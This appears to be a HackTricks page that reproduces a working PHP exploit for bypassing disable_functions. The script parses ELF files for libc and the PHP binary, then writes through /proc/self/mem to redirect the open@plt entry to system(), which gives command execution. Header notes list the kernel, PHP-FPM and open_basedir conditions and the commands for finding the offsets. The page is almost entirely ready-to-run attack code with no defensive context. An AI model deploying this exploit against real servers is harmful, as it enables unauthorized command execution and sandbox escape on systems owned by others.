disable_functions bypass - via mem - HackTricks

> [!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
> Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

> Support HackTricks
> - Check the subscription plans!
> - Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
> - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

# via mem

From http://blog.safebuff.com/2016/05/06/disable-functions-bypass/

    <?php
    /*
    1. kernel>=2.68
    2）PHP-CGI or PHP-FPM）因为mod_php并没有读取/proc/self/mem
    3）代码针对x64编写，要用于x32需要更改
    4）Open_basedir=off（或者能绕过open_basedir读写 /lib/ 和/proc/）
    */
    /*
    $libc_ver:
    beched@linuxoid ~ $ php -r 'readfile("/proc/self/maps");' | grep libc
    7f3dfa609000-7f3dfa7c4000 r-xp 00000000 08:01 9831386                    /lib/x86_64-linux-gnu/libc-2.19.so
    $open_php:
    beched@linuxoid ~ $ objdump -R /usr/bin/php | grep '\sopen$'
    0000000000e94998 R_X86_64_JUMP_SLOT  open
    $system_offset and $open_offset:
    beched@linuxoid ~ $ readelf -s /lib/x86_64-linux-gnu/libc-2.19.so | egrep "\s(system|open)@@"
      1337: 0000000000046530    45 FUNC    WEAK   DEFAULT   12 system@@GLIBC_2.2.5
      1679: 00000000000ec150    90 FUNC    WEAK   DEFAULT   12 open@@GLIBC_2.2.5
    */
    function packlli($value) {
        $higher = ($value & 0xffffffff00000000) >> 32;
        $lower = $value & 0x00000000ffffffff;
        return pack('V2', $lower, $higher);
    }
    function unp($value) {
        return hexdec(bin2hex(strrev($value)));
    }
    function parseelf($bin_ver, $rela = false) {
        $bin = file_get_contents($bin_ver);
        $e_shoff = unp(substr($bin, 0x28, 8));
        $e_shentsize = unp(substr($bin, 0x3a, 2));
        $e_shnum = unp(substr($bin, 0x3c, 2));
        $e_shstrndx = unp(substr($bin, 0x3e, 2));
        for($i = 0; $i < $e_shnum; $i += 1) {
            $sh_type = unp(substr($bin, $e_shoff + $i * $e_shentsize + 4, 4));
            if($sh_type == 11) { // SHT_DYNSYM
                $dynsym_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8));
                $dynsym_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8));
                $dynsym_entsize = unp(substr($bin, $e_shoff + $i * $e_shentsize + 56, 8));
            }
            elseif(!isset($strtab_off) && $sh_type == 3) { // SHT_STRTAB
                $strtab_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8));
                $strtab_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8));
            }
            elseif($rela && $sh_type == 4) { // SHT_RELA
                $relaplt_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8));
                $relaplt_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8));
                $relaplt_entsize = unp(substr($bin, $e_shoff + $i * $e_shentsize + 56, 8));
            }
        }
        if($rela) {
            for($i = $relaplt_off; $i < $relaplt_off + $relaplt_size; $i += $relaplt_entsize) {
                $r_offset = unp(substr($bin, $i, 8));
                $r_info = unp(substr($bin, $i + 8, 8)) >> 32;
                $name_off = unp(substr($bin, $dynsym_off + $r_info * $dynsym_entsize, 4));
                $name = '';
                $j = $strtab_off + $name_off - 1;
                while($bin[++$j] != "\0") {
                    $name .= $bin[$j];
                }
                if($name == 'open') {
                    return $r_offset;
                }
            }
        }
        else {
            for($i = $dynsym_off; $i < $dynsym_off + $dynsym_size; $i += $dynsym_entsize) {
                $name_off = unp(substr($bin, $i, 4));
                $name = '';
                $j = $strtab_off + $name_off - 1;
                while($bin[++$j] != "\0") {
                    $name .= $bin[$j];
                }
                if($name == '__libc_system') {
                    $system_offset = unp(substr($bin, $i + 8, 8));
                }
                if($name == '__open') {
                    $open_offset = unp(substr($bin, $i + 8, 8));
                }
            }
            return array($system_offset, $open_offset);
        }
    }
    echo "[*] PHP disable_functions procfs bypass (coded by Beched, RDot.Org)\n";
    if(strpos(php_uname('a'), 'x86_64') === false) {
        echo "[-] This exploit is for x64 Linux. Exiting\n";
        exit;
    }
    if(substr(php_uname('r'), 0, 4) < 2.98) {
        echo "[-] Too old kernel (< 2.98). Might not work\n";
    }
    echo "[*] Trying to get open@plt offset in PHP binary\n";
    $open_php = parseelf('/proc/self/exe', true);
    if($open_php == 0) {
        echo "[-] Failed. Exiting\n";
        exit;
    }
    echo '[+] Offset is 0x' . dechex($open_php) . "\n";
    $maps = file_get_contents('/proc/self/maps');
    preg_match('#\s+(/.+libc\-.+)#', $maps, $r);
    echo "[*] Libc location: $r[1]\n";
    echo "[*] Trying to get open and system symbols from Libc\n";
    list($system_offset, $open_offset) = parseelf($r[1]);
    if($system_offset == 0 or $open_offset == 0) {
        echo "[-] Failed. Exiting\n";
        exit;
    }
    echo "[+] Got them. Seeking for address in memory\n";
    $mem = fopen('/proc/self/mem', 'rb');
    fseek($mem, $open_php);
    $open_addr = unp(fread($mem, 8));
    echo '[*] open@plt addr: 0x' . dechex($open_addr) . "\n";
    $libc_start = $open_addr - $open_offset;
    $system_addr = $libc_start + $system_offset;
    echo '[*] system@plt addr: 0x' . dechex($system_addr) . "\n";
    echo "[*] Rewriting open@plt address\n";
    $mem = fopen('/proc/self/mem', 'wb');
    fseek($mem, $open_php);
    if(fwrite($mem, packlli($system_addr))) {
        echo "[+] Address written. Executing cmd\n";
        readfile('/usr/bin/id');
        exit;
    }
    echo "[-] Write failed. Exiting\n";

> [!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
> Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

> Support HackTricks
> - Check the subscription plans!
> - Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
> - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.